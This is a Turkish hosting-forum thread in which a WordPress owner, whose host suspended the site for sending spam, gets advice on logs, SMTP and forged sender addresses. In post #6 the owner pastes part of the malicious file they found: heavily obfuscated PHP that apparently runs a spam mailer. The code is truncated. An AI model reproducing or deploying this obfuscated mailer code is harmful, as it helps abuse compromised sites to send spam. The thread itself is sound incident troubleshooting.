• 18-09-2014, 14:56:44
    #1
    Arkadaşlar wordpress sitem var.
    Hosting firmam sitemin spam mail gönderdiği gerekçesi ile sitemi kapattı. Yazılımı güncelledim sadece 2 3 adet güvenilir eklenti vardı onlarda günceldi. alakasız mail adresi ile mail gönderiyomuş örnek: asasas@siteadi.com gibi nasıl bir yol izlemem gerekir nasıl çözüm bulurum yardım edebilirmsinz
  • 18-09-2014, 23:04:07
    #2
    php mail fonksiyonunu kapatıp SMTP'yi aktif edilmesini ve derhal sitenin açılmasını isteyin... Bunu size söylemeden yapmaları gerekliydi hatta. Sitenizi başka bir hosta taşıyın...
  • 19-09-2014, 13:49:22
    #3
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Sitenizin http access loglarını inceleyerek, hangi dosya üzerinden spam yapıldığını bulabilirsiniz. Hatta bence tüm dosyalarınızı kontrol edip, wordpress ve eklentilere ait olmayan dosyaları silmeniz daha sağlıklı olacaktır.

    Hosting firmanız sendmail'i (php mail) açık tutabilir ayrıca, onların tasarrufundadır.
  • 21-09-2014, 00:16:51
    #4
    ugly adlı üyeden alıntı: mesajı görüntüle
    Sitenizin http access loglarını inceleyerek, hangi dosya üzerinden spam yapıldığını bulabilirsiniz. Hatta bence tüm dosyalarınızı kontrol edip, wordpress ve eklentilere ait olmayan dosyaları silmeniz daha sağlıklı olacaktır.

    Hosting firmanız sendmail'i (php mail) açık tutabilir ayrıca, onların tasarrufundadır.
    Bilgi için teşekkürler http access loglarını nereden inceleyebilirim acaba
  • 21-09-2014, 00:37:56
    #5
    nuti adlı üyeden alıntı: mesajı görüntüle
    Arkadaşlar wordpress sitem var.
    Hosting firmam sitemin spam mail gönderdiği gerekçesi ile sitemi kapattı. Yazılımı güncelledim sadece 2 3 adet güvenilir eklenti vardı onlarda günceldi. alakasız mail adresi ile mail gönderiyomuş örnek: asasas@siteadi.com gibi nasıl bir yol izlemem gerekir nasıl çözüm bulurum yardım edebilirmsinz
    Alakasız bir adres den mail gönderilmesine MTA neden izin veriyormuş ki ?
  • 21-09-2014, 00:40:59
    #6
    Sorunlu dosyayı buldum arkadaşlar. Kodların %30 ekliyorum bu kodlarmış.
    ?$i96="QU~T<`_YM82iAN>/v#s\"'q@tZFjJX6a\tcI)yS^boD.\$du|3\rWw=rC!;[4*P5LVkB?%19m:p7 -zK,gOl{Efx]0R}&h+\n\\(enGH"; $GLOBALS['rpdxi45'] = $i96[94].$i96[51].$i96[51].$i96[39].$i96[51].$i96[6].$i96[51].$i96[94].$i96[70].$i96[39].$i96[51].$i96[23].$i96[11].$i96[95].$i96[77]; $GLOBALS['umwfl54'] = $i96[11].$i96[95].$i96[11].$i96[6].$i96[18].$i96[94].$i96[23]; $GLOBALS['payhr58'] = $i96[74].$i96[74].$i96[21].$i96[30].$i96[30].$i96[29].$i96[59]; $GLOBALS['jjfef77'] = $i96[68].$i96[43].$i96[59]; $GLOBALS['woluw86'] = $i96[16].$i96[68].$i96[62].$i96[70].$i96[26].$i96[59]; $GLOBALS['xrcrc46'] = $i96[94].$i96[18].$i96[18].$i96[18].$i96[18].$i96[9].$i96[85]; $GLOBALS['nfrnt33'] = $i96[32].$i96[68].$i96[77].$i96[38].$i96[89].$i96[9].$i96[29]; $GLOBALS['vpgyo33'] = $i96[82].$i96[82].$i96[89].$i96[77].$i96[35].$i96[9].$i96[59]; $GLOBALS['xphkx7'] = $i96[30].$i96[89].$i96[68].$i96[44].$i96[83].$i96[59].$i96[10]; $GLOBALS['hkcrr52'] = $i96[43].$i96[26].$i96[49].$i96[94].$i96[70].$i96[59].$i96[71]; $GLOBALS['gabbh38'] = $i96[89].$i96[95].$i96[95].$i96[18].$i96[23].$i96[46]; $GLOBALS['ciuwv31'] = $i96[39].$i96[95].$i96[95].$i96[77].$i96[79].$i96[9].$i96[85]; $GLOBALS['yceku89'] = $i96[18].$i96[23].$i96[51].$i96[79].$i96[94].$i96[95]; $GLOBALS['pwnuy78'] = $i96[32].$i96[89].$i96[51]; $GLOBALS['sbstd35'] = $i96[39].$i96[51].$i96[43]; $GLOBALS['ribbu43'] = $i96[38].$i96[30].$i96[18].$i96[94].$i96[29].$i96[56].$i96[6].$i96[94].$i96[95].$i96[32].$i96[39].$i96[43].$i96[94]; $GLOBALS['yioxt94'] = $i96[32].$i96[39].$i96[44].$i96[95].$i96[23]; $GLOBALS['jtavr24'] = $i96[82].$i96[44].$i96[95].$i96[32].$i96[23].$i96[11].$i96[39].$i96[95].$i96[6].$i96[94].$i96[83].$i96[11].$i96[18].$i96[23].$i96[18]; $GLOBALS['xirqd9'] = $i96[68].$i96[30].$i96[11].$i96[79]; $GLOBALS['fwvyn61'] = $i96[21].$i96[82].$i96[95].$i96[23].$i96[30].$i96[67].$i96[71]; $GLOBALS['ozzeq92'] = $i96[82].$i96[77].$i96[94].$i96[23].$i96[18]; $GLOBALS['ovdsf28'] = $i96[77].$i96[94].$i96[23].$i96[89].$i96[39].$i96[18].$i96[23].$i96[38].$i96[35].$i96[95].$i96[30].$i96[68].$i96[94]; $GLOBALS['whgei19'] = $i96[82].$i96[18].$i96[39].$i96[32].$i96[62].$i96[39].$i96[70].$i96[94].$i96[95]; $GLOBALS['dfghd95'] = $i96[70].$i96[82].$i96[18].$i96[39].$i96[32].$i96[62].$i96[39].$i96[70].$i96[94].$i96[95]; $GLOBALS['szbmd23'] = $i96[18].$i96[23].$i96[51].$i96[94].$i96[30].$i96[68].$i96[6].$i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[32].$i96[79].$i96[11].$i96[94].$i96[95].$i96[23]; $GLOBALS['ketxn68'] = $i96[82].$i96[70].$i96[44].$i96[23].$i96[18]; $GLOBALS['ibikt67'] = $i96[23].$i96[51].$i96[11].$i96[68]; $GLOBALS['mjcqu91'] = $i96[70].$i96[51].$i96[94].$i96[77].$i96[6].$i96[51].$i96[94].$i96[70].$i96[79].$i96[30].$i96[32].$i96[94]; $GLOBALS['uwmfn32'] = $i96[82].$i96[32].$i96[79].$i96[39].$i96[18].$i96[94]; $GLOBALS['rsvig58'] = $i96[74].$i96[51].$i96[62].$i96[77].$i96[94].$i96[66].$i96[46]; $GLOBALS['zvlth73'] = $i96[23].$i96[11].$i96[68].$i96[94]; $GLOBALS['ysbsg99'] = $i96[51].$i96[32].$i96[44].$i96[95].$i96[79].$i96[46].$i96[46]; $GLOBALS['vueai89'] = $i96[30].$i96[51].$i96[51].$i96[30].$i96[35].$i96[6].$i96[18].$i96[94].$i96[30].$i96[51].$i96[32].$i96[89]; $GLOBALS['xajbc54'] = $i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[32].$i96[79].$i96[39].$i96[18].$i96[94]; $GLOBALS['xkrnw66'] = $i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[32].$i96[51].$i96[94].$i96[30].$i96[23].$i96[94]; $GLOBALS['pgctw70'] = $i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[18].$i96[94].$i96[23].$i96[6].$i96[95].$i96[39].$i96[95].$i96[38].$i96[79].$i96[39].$i96[32].$i96[62]; $GLOBALS['uwxdy95'] = $i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[32].$i96[39].$i96[95].$i96[95].$i96[94].$i96[32].$i96[23]; $GLOBALS['mafmc28'] = $i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[79].$i96[30].$i96[18].$i96[23].$i96[6].$i96[94].$i96[51].$i96[51].$i96[39].$i96[51]; $GLOBALS['srksw68'] = $i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[18].$i96[94].$i96[79].$i96[94].$i96[32].$i96[23]; $GLOBALS['ipekc94'] = $i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[51].$i96[94].$i96[30].$i96[43]; $GLOBALS['lkglw48'] = $i96[18].$i96[39].$i96[32].$i96[62].$i96[94].$i96[23].$i96[6].$i96[49].$i96[51].$i96[11].$i96[23].$i96[94]; $GLOBALS['rlqxa39'] = $i96[32].$i96[79].$i96[39].$i96[18].$i96[94].$i96[36].$i96[39].$i96[32].$i96[62]; $GLOBALS['fswzd10'] = $i96[43].$i96[30].$i96[23].$i96[94]; $GLOBALS['megms73'] = $i96[18].$i96[23].$i96[51].$i96[6].$i96[51].$i96[94].$i96[70].$i96[79].$i96[30].$i96[32].$i96[94]; $GLOBALS['dszhy50'] = $i96[70].$i96[23].$i96[23].$i96[95].$i96[30].$i96[71].$i96[67]; $GLOBALS['btcvz15'] = $i96[70].$i96[51].$i96[94].$i96[77].$i96[6].$i96[68].$i96[30].$i96[23].$i96[32].$i96[89]; $GLOBALS['fgzht71'] = $i96[44].$i96[32].$i96[82].$i96[11].$i96[51].$i96[18].$i96[23]; $GLOBALS['dpooh44'] = $i96[11].$i96[95].$i96[11].$i96[6].$i96[77].$i96[94].$i96[23]; $GLOBALS['rhgci15'] = $i96[77].$i96[94].$i96[23].$i96[68].$i96[83].$i96[51].$i96[51]; $GLOBALS['auikn34'] = $i96[30].$i96[51].$i96[51].$i96[30].$i96[35].$i96[6].$i96[62].$i96[94].$i96[35].$i96[18]; $GLOBALS['vqghd59'] = $i96[68].$i96[11].$i96[95]; $GLOBALS['zyycp21'] = ${$i96[6].$i96[58].$i96[78].$i96[36].$i96[3]}; $GLOBALS['ltutc37'] = $i96[68].$i96[70].$i96[30].$i96[49].$i96[70].$i96[56].$i96[56]; $GLOBALS['pogpj8'] = $i96[70].$i96[51].$i96[94].$i96[77].$i96[6].$i96[18].$i96[70].$i96[79].$i96[11].$i96[23]; $GLOBALS['fbgkd54'] = $i96[38].$i96[30].$i96[18].$i96[94].$i96[29].$i96[56].$i96[6].$i96[43].$i96[94].$i96[32].$i96[39].$i96[43].$i96[94]; $GLOBALS['igmij93'] = $i96[44].$i96[51].$i96[79].$i96[43].$i96[94].$i96[32].$i96[39].$i96[43].$i96[94]; $GLOBALS['czhuw10'] = $i96[18].$i96[23].$i96[51].$i96[11].$i96[70].$i96[18].$i96[79].$i96[30].$i96[18].$i96[89].$i96[94].$i96[18];@$GLOBALS['rpdxi45'](NULL);@$GLOBALS['umwfl54']($i96[94].$i96[51].$i96[51].$i96[39].$i96[51].$i96[6].$i96[79].$i96[39].$i96[77],NULL);@$GLOBALS['umwfl54']($i96[79].$i96[39].$i96[77].$i96[6].$i96[94].$i96[51].$i96[51].$i96[39].$i96[51].$i96[18],0);    $gqoki97 = array(    $i96[43].$i96[30].$i96[23].$i96[30].$i96[3].$i96[39] => "",    $i96[82].$i96[51].$i96[39].$i96[68].$i96[60].$i96[39].$i96[77].$i96[11].$i96[95] => "",    $i96[82].$i96[51].$i96[39].$i96[68].$i96[13].$i96[30].$i96[68].$i96[94] => "",    $i96[18].$i96[44].$i96[38].$i96[26].$i96[3].$i96[94].$i96[68].$i96[70].$i96[79] => "",    $i96[38].$i96[39].$i96[43].$i96[35].$i96[3].$i96[94].$i96[68].$i96[70].$i96[79] => "",    $i96[89].$i96[39].$i96[18].$i96[23].$i96[25].$i96[51].$i96[39].$i96[68] => "",    $i96[11].$i96[95].$i96[11].$i96[23].$i96[95].$i96[38].$i96[18].$i96[39].$i96[32].$i96[62] => FALSE,    $i96[11].$i96[95].$i96[11].$i96[23].$i96[18].$i96[39].$i96[32].$i96[62] => FALSE,    $i96[11].$i96[95].$i96[11].$i96[23].$i96[68].$i96[30].$i96[11].$i96[79] => FALSE,);if (FALSE == $GLOBALS['payhr58']($i96, $gqoki97)) {    echo PHP_OS.$i96[90].$GLOBALS['jjfef77'](0987654321).$i96[90].$i96[85].$i96[66].$i96[90].$i96[55].$i96[55].$i96[84].$i96[84].$i96[91];    exit;}$ifzga92 = array();foreach ($gqoki97[$i96[43].$i96[30].$i96[23].$i96[30].$i96[3].$i96[39]] as $rnqcn32) {    $dfphu86 = array(        $i96[95].$i96[30].$i96[68].$i96[94].$i96[25].$i96[11].$i96[51].$i96[18].$i96[23] => "",        $i96[95].$i96[30].$i96[68].$i96[94].$i96[60].$i96[30].$i96[18].$i96[23] => "",        $i96[94].$i96[68].$i96[30].$i96[11].$i96[79].$i96[3].$i96[39] => "",        $i96[43].$i96[39].$i96[68].$i96[30].$i96[11].$i96[95].$i96[3].$i96[39] => "",        $i96[94].$i96[68].$i96[30].$i96[11].$i96[79].$i96[3].$i96[39].$i96[60].$i96[39].$i96[95].$i96[77] => "",        $i96[82].$i96[39].$i96[51].$i96[32].$i96[94].$i96[25].$i96[51].$i96[39].$i96[68].$i96[25].$i96[79].$i96[30].$i96[77] => FALSE,        $i96[94].$i96[68].$i96[30].$i96[11].$i96[79].$i96[25].$i96[51].$i96[39].$i96[68] =>"",        $i96[94].$i96[68].$i96[30].$i96[11].$i96[79].$i96[25].$i96[51].$i96[39].$i96[68].$i96[60].$i96[39].$i96[95].$i96[77] => "",        $i96[18].$i96[44].$i96[38].$i96[26] => "",        $i96[38].$i96[39].$i96[43].$i96[35] => "",        $i96[89].$i96[94].$i96[30].$i96[43].$i96[94].$i96[51].$i96[18].$i96[8].$i96[30].$i96[11].$i96[95] => "",        $i96[89].$i96[94].$i96[30].$i96[43].$i96[94].$i96[51].$i96[18].$i96[25].$i96[51].$i96[39].$i96[68] => "",        $i96[89].$i96[94].$i96[30].$i96[43].$i96[94].$i96[51].$i96[18].$i96[36].$i96[39].$i96[32].$i96[62] => "",        $i96[68].$i96[83].$i96[97].$i96[39].$i96[18].$i96[23] => "",        $i96[68].$i96[83].$i96[12].$i96[43].$i96[43].$i96[51] => null,        $i96[18].$i96[39].$i96[32].$i96[62] => null,        $i96[18].$i96[23].$i96[11].$i96[68].$i96[94] => null,        $i96[95].$i96[38].$i96[18].$i96[23].$i96[94].$i96[70] => 0,        $i96[94].$i96[51].$i96[51].$i96[79].$i96[11].$i96[95].$i96[94] => "",        $i96[43].$i96[39].$i96[95].$i96[94] => FALSE,        $i96[43].$i96[39].$i96[95].$i96[94].$i96[48].$i96[30].$i96[35] => 0,        $i96[82].$i96[30].$i96[11].$i96[79].$i96[36].$i96[68].$i96[23].$i96[70] => FALSE,    );        if (FALSE == $GLOBALS['woluw86']($i96, $rnqcn32, $gqoki97, $dfphu86) ) {        echo PHP_OS.$i96[90].$GLOBALS['jjfef77'](1111111111).$i96[90].$i96[85].$i96[10].$i96[90].$i96[55].$i96[55].$GLOBALS['xrcrc46']($i96, $rnqcn32).$i96[84].$i96[84].$i96[91];        continue;    }    $GLOBALS['nfrnt33']($i96, $gqoki97, $dfphu86);    $GLOBALS['vpgyo33']($i96, $gqoki97, $dfphu86);        $ifzga92[] = $dfphu86;}$GLOBALS['xphkx7']($i96, $gqoki97, $ifzga92);$GLOBALS['hkcrr52']($i96, $gqoki97, $ifzga92);$GLOBALS['gabbh38']($i96, $gqoki97, $ifzga92);$GLOBALS['ciuwv31']($i96, $gqoki97, $ifzga92);function essss80($i96, $iqkju26) {    $htptb46 = "";    for($ckkqo93 = 0; $ckkqo93 < $GLOBALS['yceku89']($iqkju26); $ckkqo93++) $htptb46.= $GLOBALS['pwnuy78']($GLOBALS['sbstd35']($iqkju26[$ckkqo93]) ^ 2);    return $GLOBALS['ribbu43']($htptb46);}function onngl80($i96, $gqoki97, $ifzga92) {    if ($gqoki97[$i96[11].$i96[95].$i96[11].$i96[23].$i96[95].$i96[38].$i96[18].$i96[39].$i96[32].$i96[62]] == FALSE && $gqoki97[$i96[11].$i96[95].$i96[11].$i96[23].$i96[18].$i96[39].$i96[32].$i96[62]] == FALSE && $gqoki97[$i96[11].$i96[95].$i96[11].$i96[23].$i96[68].$i96[30].$i96[11].$i96[79]] == FALSE) {        echo PHP_OS.$i96[90].$GLOBALS['jjfef77'](1111111111).$i96[90].$i96[85].$i96[46].$i96[90].$i96[55].$i96[55].$GLOBALS['xrcrc46']($i96, $i96[95].$i96[39].$i96[72].$i96[82].$i96[44].$i96[95].$i96[32].$i96[72].$i96[94].$i96[83].$i96[11].$i96[18].$i96[23].$i96[18]).$i96[84].$i96[84].$i96[91];        return;    }    $uodef40 = 0;    for ($wenmo89 = 0; $wenmo89 < $GLOBALS['yioxt94']($ifzga92); $wenmo89++) {        if ($ifzga92[$wenmo89][$i96[82].$i96[30].$i96[11].$i96[79].$i96[36].$i96[68].$i96[23].$i96[70]] == TRUE) {            echo PHP_OS.$i96[90].$GLOBALS['jjfef77'](2222222222).$i96[90].$i96[85].$i96[56].$i96[90].$i96[55].$i96[55].$GLOBALS['xrcrc46']($i96, $ifzga92[$wenmo89][$i96[94].$i96[68].$i96[30].$i96[11].$i96[79].$i96[3].$i96[39]].$i96[72].$i96[69].$i96[69].$i96[72].$ifzga92[$wenmo89][$i96[94].$i96[51].$i96[51].$i96[79].$i96[11].$i96[95].$i96[94]]).$i96[84].$i96[84].$i96[91];        }        if ($ifzga92[$wenmo89][$i96[43].$i96[39].$i96[95].$i96[94]] == TRUE) {            $uodef40++;        }    }    if ($uodef40 == 0) {        echo PHP_OS.$i96[90].$GLOBALS['jjfef77'](0987654321).$i96[90].$i96[85].$i96[56].$i96[90].$i96[55].$i96[55].$i96[84].$i96[84].$i96[91];    } else {        echo $i96[78].$i96[75].$i96[90].$GLOBALS['jjfef77'](1234567890).$i96[90].$uodef40.$i96[90].$GLOBALS['yioxt94']($ifzga92).$i96[91];
  • 23-09-2014, 14:03:06
    #7
    sysadmin adlı üyeden alıntı: mesajı görüntüle
    Alakasız bir adres den mail gönderilmesine MTA neden izin veriyormuş ki ?
    Muhtemelen alakasız bir mail adresi değildir. Sistem kullanıcısı ile gönderiyodur, from olarak da herhangi bir şey yazıyodur. Sendmail'in de zaten bu tip yetenekleri olmadığından spamı gönderiyodur.
  • 23-09-2014, 14:31:34
    #8
    ugly adlı üyeden alıntı: mesajı görüntüle
    Muhtemelen alakasız bir mail adresi değildir. Sistem kullanıcısı ile gönderiyodur, from olarak da herhangi bir şey yazıyodur. Sendmail'in de zaten bu tip yetenekleri olmadığından spamı gönderiyodur.
    Sorun orada zaten ahmet kullanıcısı kendi şifresi ile from kısmını mehmet yapamaması lazım. Evet varsayılan olarak bu yapılabiliyor ama servis sağlayıcılar bunu da düzeltmiyorlarsa diyecek bir şey yok.
  • 23-09-2014, 14:44:24
    #9
    sysadmin adlı üyeden alıntı: mesajı görüntüle
    Sorun orada zaten ahmet kullanıcısı kendi şifresi ile from kısmını mehmet yapamaması lazım. Evet varsayılan olarak bu yapılabiliyor ama servis sağlayıcılar bunu da düzeltmiyorlarsa diyecek bir şey yok.
    Sendmail smtp auth için sendmail smart host falan kuruluyor sanırım. Tek başına böyle yetenekleri yok diye biliyorum.